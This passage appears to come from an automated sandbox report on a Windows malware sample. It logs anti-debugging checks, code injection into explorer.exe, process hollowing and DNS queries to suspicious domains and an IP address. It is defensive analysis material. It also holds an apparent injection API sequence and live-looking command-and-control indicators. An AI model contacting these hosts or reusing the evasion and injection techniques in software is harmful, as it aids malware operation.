Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542FB0 mov eax, dword ptr fs:[00000030h]	29_2_6B542FB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542FB0 mov eax, dword ptr fs:[00000030h]	29_2_6B542FB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542FB0 mov ecx, dword ptr fs:[00000030h]	29_2_6B542FB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542FB0 mov eax, dword ptr fs:[00000030h]	29_2_6B542FB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542FB0 mov eax, dword ptr fs:[00000030h]	29_2_6B542FB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542FB0 mov eax, dword ptr fs:[00000030h]	29_2_6B542FB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542FB0 mov eax, dword ptr fs:[00000030h]	29_2_6B542FB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542FB0 mov eax, dword ptr fs:[00000030h]	29_2_6B542FB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542FB0 mov eax, dword ptr fs:[00000030h]	29_2_6B542FB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542FB0 mov eax, dword ptr fs:[00000030h]	29_2_6B542FB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D6652 mov eax, dword ptr fs:[00000030h]	29_2_6B5D6652
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B573E70 mov eax, dword ptr fs:[00000030h]	29_2_6B573E70
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57CE6C mov eax, dword ptr fs:[00000030h]	29_2_6B57CE6C
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57CE6C mov ecx, dword ptr fs:[00000030h]	29_2_6B57CE6C
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5CAE60 mov eax, dword ptr fs:[00000030h]	29_2_6B5CAE60
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5CAE60 mov eax, dword ptr fs:[00000030h]	29_2_6B5CAE60
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5CAE60 mov eax, dword ptr fs:[00000030h]	29_2_6B5CAE60
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5CAE60 mov eax, dword ptr fs:[00000030h]	29_2_6B5CAE60
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D2E14 mov eax, dword ptr fs:[00000030h]	29_2_6B5D2E14
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54C600 mov eax, dword ptr fs:[00000030h]	29_2_6B54C600
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54C600 mov eax, dword ptr fs:[00000030h]	29_2_6B54C600
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54C600 mov eax, dword ptr fs:[00000030h]	29_2_6B54C600
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5FFE3F mov eax, dword ptr fs:[00000030h]	29_2_6B5FFE3F
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57C63D mov eax, dword ptr fs:[00000030h]	29_2_6B57C63D
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54A63B mov eax, dword ptr fs:[00000030h]	29_2_6B54A63B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54A63B mov eax, dword ptr fs:[00000030h]	29_2_6B54A63B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B580E21 mov eax, dword ptr fs:[00000030h]	29_2_6B580E21
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C5623 mov eax, dword ptr fs:[00000030h]	29_2_6B5C5623
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C5623 mov eax, dword ptr fs:[00000030h]	29_2_6B5C5623
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C5623 mov eax, dword ptr fs:[00000030h]	29_2_6B5C5623
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C5623 mov eax, dword ptr fs:[00000030h]	29_2_6B5C5623
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C5623 mov eax, dword ptr fs:[00000030h]	29_2_6B5C5623
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C5623 mov eax, dword ptr fs:[00000030h]	29_2_6B5C5623
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C5623 mov eax, dword ptr fs:[00000030h]	29_2_6B5C5623
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C5623 mov eax, dword ptr fs:[00000030h]	29_2_6B5C5623
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C5623 mov eax, dword ptr fs:[00000030h]	29_2_6B5C5623
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5736CC mov eax, dword ptr fs:[00000030h]	29_2_6B5736CC
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618ED6 mov eax, dword ptr fs:[00000030h]	29_2_6B618ED6
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5716E0 mov ecx, dword ptr fs:[00000030h]	29_2_6B5716E0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5576E2 mov eax, dword ptr fs:[00000030h]	29_2_6B5576E2
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B583EE4 mov eax, dword ptr fs:[00000030h]	29_2_6B583EE4
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B583EE4 mov eax, dword ptr fs:[00000030h]	29_2_6B583EE4
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B583EE4 mov eax, dword ptr fs:[00000030h]	29_2_6B583EE4
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57DE9E mov eax, dword ptr fs:[00000030h]	29_2_6B57DE9E
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57DE9E mov eax, dword ptr fs:[00000030h]	29_2_6B57DE9E
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57DE9E mov eax, dword ptr fs:[00000030h]	29_2_6B57DE9E
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B543E80 mov eax, dword ptr fs:[00000030h]	29_2_6B543E80
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B543E80 mov eax, dword ptr fs:[00000030h]	29_2_6B543E80
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C46A7 mov eax, dword ptr fs:[00000030h]	29_2_6B5C46A7
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D2EA3 mov eax, dword ptr fs:[00000030h]	29_2_6B5D2EA3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B567D50 mov eax, dword ptr fs:[00000030h]	29_2_6B567D50
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54354C mov eax, dword ptr fs:[00000030h]	29_2_6B54354C
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54354C mov eax, dword ptr fs:[00000030h]	29_2_6B54354C
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5F8D47 mov eax, dword ptr fs:[00000030h]	29_2_6B5F8D47
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5F3D40 mov eax, dword ptr fs:[00000030h]	29_2_6B5F3D40
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56C577 mov eax, dword ptr fs:[00000030h]	29_2_6B56C577
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56C577 mov eax, dword ptr fs:[00000030h]	29_2_6B56C577
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54F51D mov eax, dword ptr fs:[00000030h]	29_2_6B54F51D
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618D34 mov eax, dword ptr fs:[00000030h]	29_2_6B618D34
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54AD30 mov eax, dword ptr fs:[00000030h]	29_2_6B54AD30
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B574D3B mov eax, dword ptr fs:[00000030h]	29_2_6B574D3B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B574D3B mov eax, dword ptr fs:[00000030h]	29_2_6B574D3B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B574D3B mov eax, dword ptr fs:[00000030h]	29_2_6B574D3B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B571520 mov eax, dword ptr fs:[00000030h]	29_2_6B571520
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B571520 mov eax, dword ptr fs:[00000030h]	29_2_6B571520
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B571520 mov eax, dword ptr fs:[00000030h]	29_2_6B571520
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B571520 mov eax, dword ptr fs:[00000030h]	29_2_6B571520
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B571520 mov eax, dword ptr fs:[00000030h]	29_2_6B571520
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B603518 mov eax, dword ptr fs:[00000030h]	29_2_6B603518
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B603518 mov eax, dword ptr fs:[00000030h]	29_2_6B603518
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B603518 mov eax, dword ptr fs:[00000030h]	29_2_6B603518
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5FFDD3 mov eax, dword ptr fs:[00000030h]	29_2_6B5FFDD3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5415C1 mov eax, dword ptr fs:[00000030h]	29_2_6B5415C1
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5495F0 mov eax, dword ptr fs:[00000030h]	29_2_6B5495F0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5495F0 mov ecx, dword ptr fs:[00000030h]	29_2_6B5495F0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5F8DF1 mov eax, dword ptr fs:[00000030h]	29_2_6B5F8DF1
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5795EC mov eax, dword ptr fs:[00000030h]	29_2_6B5795EC
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B543591 mov eax, dword ptr fs:[00000030h]	29_2_6B543591
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B60B581 mov eax, dword ptr fs:[00000030h]	29_2_6B60B581
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B60B581 mov eax, dword ptr fs:[00000030h]	29_2_6B60B581
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B60B581 mov eax, dword ptr fs:[00000030h]	29_2_6B60B581
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B60B581 mov eax, dword ptr fs:[00000030h]	29_2_6B60B581
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B571DB5 mov eax, dword ptr fs:[00000030h]	29_2_6B571DB5
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B571DB5 mov eax, dword ptr fs:[00000030h]	29_2_6B571DB5
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B571DB5 mov eax, dword ptr fs:[00000030h]	29_2_6B571DB5
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5735A1 mov eax, dword ptr fs:[00000030h]	29_2_6B5735A1
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618C75 mov eax, dword ptr fs:[00000030h]	29_2_6B618C75
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B55FC77 mov eax, dword ptr fs:[00000030h]	29_2_6B55FC77
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B55FC77 mov eax, dword ptr fs:[00000030h]	29_2_6B55FC77
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B55FC77 mov eax, dword ptr fs:[00000030h]	29_2_6B55FC77
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B55FC77 mov eax, dword ptr fs:[00000030h]	29_2_6B55FC77
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B585C70 mov eax, dword ptr fs:[00000030h]	29_2_6B585C70
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57AC7B mov eax, dword ptr fs:[00000030h]	29_2_6B57AC7B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57AC7B mov eax, dword ptr fs:[00000030h]	29_2_6B57AC7B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57AC7B mov eax, dword ptr fs:[00000030h]	29_2_6B57AC7B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57AC7B mov eax, dword ptr fs:[00000030h]	29_2_6B57AC7B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57AC7B mov eax, dword ptr fs:[00000030h]	29_2_6B57AC7B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57AC7B mov eax, dword ptr fs:[00000030h]	29_2_6B57AC7B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57AC7B mov eax, dword ptr fs:[00000030h]	29_2_6B57AC7B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57AC7B mov eax, dword ptr fs:[00000030h]	29_2_6B57AC7B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57AC7B mov eax, dword ptr fs:[00000030h]	29_2_6B57AC7B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57AC7B mov eax, dword ptr fs:[00000030h]	29_2_6B57AC7B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57AC7B mov eax, dword ptr fs:[00000030h]	29_2_6B57AC7B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618450 mov eax, dword ptr fs:[00000030h]	29_2_6B618450
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56746D mov eax, dword ptr fs:[00000030h]	29_2_6B56746D
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B55FC01 mov eax, dword ptr fs:[00000030h]	29_2_6B55FC01
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B55FC01 mov eax, dword ptr fs:[00000030h]	29_2_6B55FC01
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B55FC01 mov eax, dword ptr fs:[00000030h]	29_2_6B55FC01
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B55FC01 mov eax, dword ptr fs:[00000030h]	29_2_6B55FC01
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601C06 mov eax, dword ptr fs:[00000030h]	29_2_6B601C06
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601C06 mov eax, dword ptr fs:[00000030h]	29_2_6B601C06
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601C06 mov eax, dword ptr fs:[00000030h]	29_2_6B601C06
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601C06 mov eax, dword ptr fs:[00000030h]	29_2_6B601C06
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601C06 mov eax, dword ptr fs:[00000030h]	29_2_6B601C06
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601C06 mov eax, dword ptr fs:[00000030h]	29_2_6B601C06
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601C06 mov eax, dword ptr fs:[00000030h]	29_2_6B601C06
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601C06 mov eax, dword ptr fs:[00000030h]	29_2_6B601C06
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601C06 mov eax, dword ptr fs:[00000030h]	29_2_6B601C06
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601C06 mov eax, dword ptr fs:[00000030h]	29_2_6B601C06
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601C06 mov eax, dword ptr fs:[00000030h]	29_2_6B601C06
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601C06 mov eax, dword ptr fs:[00000030h]	29_2_6B601C06
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601C06 mov eax, dword ptr fs:[00000030h]	29_2_6B601C06
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601C06 mov eax, dword ptr fs:[00000030h]	29_2_6B601C06
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B562430 mov eax, dword ptr fs:[00000030h]	29_2_6B562430
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B562430 mov eax, dword ptr fs:[00000030h]	29_2_6B562430
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B61740D mov eax, dword ptr fs:[00000030h]	29_2_6B61740D
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B61740D mov eax, dword ptr fs:[00000030h]	29_2_6B61740D
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B61740D mov eax, dword ptr fs:[00000030h]	29_2_6B61740D
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B544439 mov eax, dword ptr fs:[00000030h]	29_2_6B544439
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618C14 mov eax, dword ptr fs:[00000030h]	29_2_6B618C14
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57BC2C mov eax, dword ptr fs:[00000030h]	29_2_6B57BC2C
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542CDB mov eax, dword ptr fs:[00000030h]	29_2_6B542CDB
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57CCC0 mov eax, dword ptr fs:[00000030h]	29_2_6B57CCC0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57CCC0 mov eax, dword ptr fs:[00000030h]	29_2_6B57CCC0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57CCC0 mov eax, dword ptr fs:[00000030h]	29_2_6B57CCC0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57CCC0 mov eax, dword ptr fs:[00000030h]	29_2_6B57CCC0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B6014FB mov eax, dword ptr fs:[00000030h]	29_2_6B6014FB
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618CD6 mov eax, dword ptr fs:[00000030h]	29_2_6B618CD6
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54649B mov eax, dword ptr fs:[00000030h]	29_2_6B54649B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54649B mov eax, dword ptr fs:[00000030h]	29_2_6B54649B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B619CB3 mov eax, dword ptr fs:[00000030h]	29_2_6B619CB3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B541480 mov eax, dword ptr fs:[00000030h]	29_2_6B541480
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B544CB0 mov eax, dword ptr fs:[00000030h]	29_2_6B544CB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57D4B0 mov eax, dword ptr fs:[00000030h]	29_2_6B57D4B0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604496 mov eax, dword ptr fs:[00000030h]	29_2_6B604496
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604496 mov eax, dword ptr fs:[00000030h]	29_2_6B604496
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604496 mov eax, dword ptr fs:[00000030h]	29_2_6B604496
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604496 mov eax, dword ptr fs:[00000030h]	29_2_6B604496
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604496 mov eax, dword ptr fs:[00000030h]	29_2_6B604496
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604496 mov eax, dword ptr fs:[00000030h]	29_2_6B604496
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604496 mov eax, dword ptr fs:[00000030h]	29_2_6B604496
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604496 mov eax, dword ptr fs:[00000030h]	29_2_6B604496
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604496 mov eax, dword ptr fs:[00000030h]	29_2_6B604496
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604496 mov eax, dword ptr fs:[00000030h]	29_2_6B604496
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604496 mov eax, dword ptr fs:[00000030h]	29_2_6B604496
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604496 mov eax, dword ptr fs:[00000030h]	29_2_6B604496
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604496 mov eax, dword ptr fs:[00000030h]	29_2_6B604496

Source: C:\Users\user\Desktop\Md0q201V1D.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gbhudtb	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EBBE.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\Md0q201V1D.exe

Code function: 0_2_0041D440 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0041D440

Source: C:\Users\user\AppData\Local\Temp\CBF0.exe

Code function: 29_2_6B576B90 rdtsc

29_2_6B576B90

Source: C:\Users\user\Desktop\Md0q201V1D.exe

Code function: 3_1_004026C8 LdrLoadDll,

3_1_004026C8

Source: C:\Users\user\AppData\Local\Temp\B096.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Md0q201V1D.exe	Code function: 0_2_0041D440 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041D440
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Code function: 0_2_004266D0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004266D0
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 14_2_0041D440 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_0041D440
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 14_2_004266D0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_004266D0

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: iyc.jelikob.ru
Source: C:\Windows\explorer.exe	Domain query: xacokuo8.top
Source: C:\Windows\explorer.exe	Domain query: znpst.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: nusurtal4f.net
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-6000.top
Source: C:\Windows\explorer.exe	Domain query: hajezey1.top
Source: C:\Windows\explorer.exe	Domain query: sysaheu90.top

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: C066.exe.10.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\Md0q201V1D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gbhudtb	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gbhudtb	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EBBE.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\EBBE.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\AppData\Roaming\gbhudtb	Memory written: C:\Users\user\AppData\Roaming\gbhudtb base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\gbhudtb	Memory written: C:\Users\user\AppData\Roaming\gbhudtb base: 400000 value starts with: 4D5A			Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Roaming\gbhudtb

Code function: 14_2_02BE0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

14_2_02BE0110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\Md0q201V1D.exe	Thread created: C:\Windows\explorer.exe EIP: 4DE1920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21.exe	Thread created: unknown EIP: 2D61920	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gbhudtb	Thread created: unknown EIP: 5B71920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Thread created: unknown EIP: 5AB19C0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EBBE.exe	Thread created: unknown EIP: 5B01920

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\AppData\Local\Temp\B096.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe base address: 400000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe base address: 400000			Jump to behavior

Source: C:\Users\user\Desktop\Md0q201V1D.exe	Process created: C:\Users\user\Desktop\Md0q201V1D.exe 'C:\Users\user\Desktop\Md0q201V1D.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gbhudtb	Process created: C:\Users\user\AppData\Roaming\gbhudtb C:\Users\user\AppData\Roaming\gbhudtb	Jump to behavior
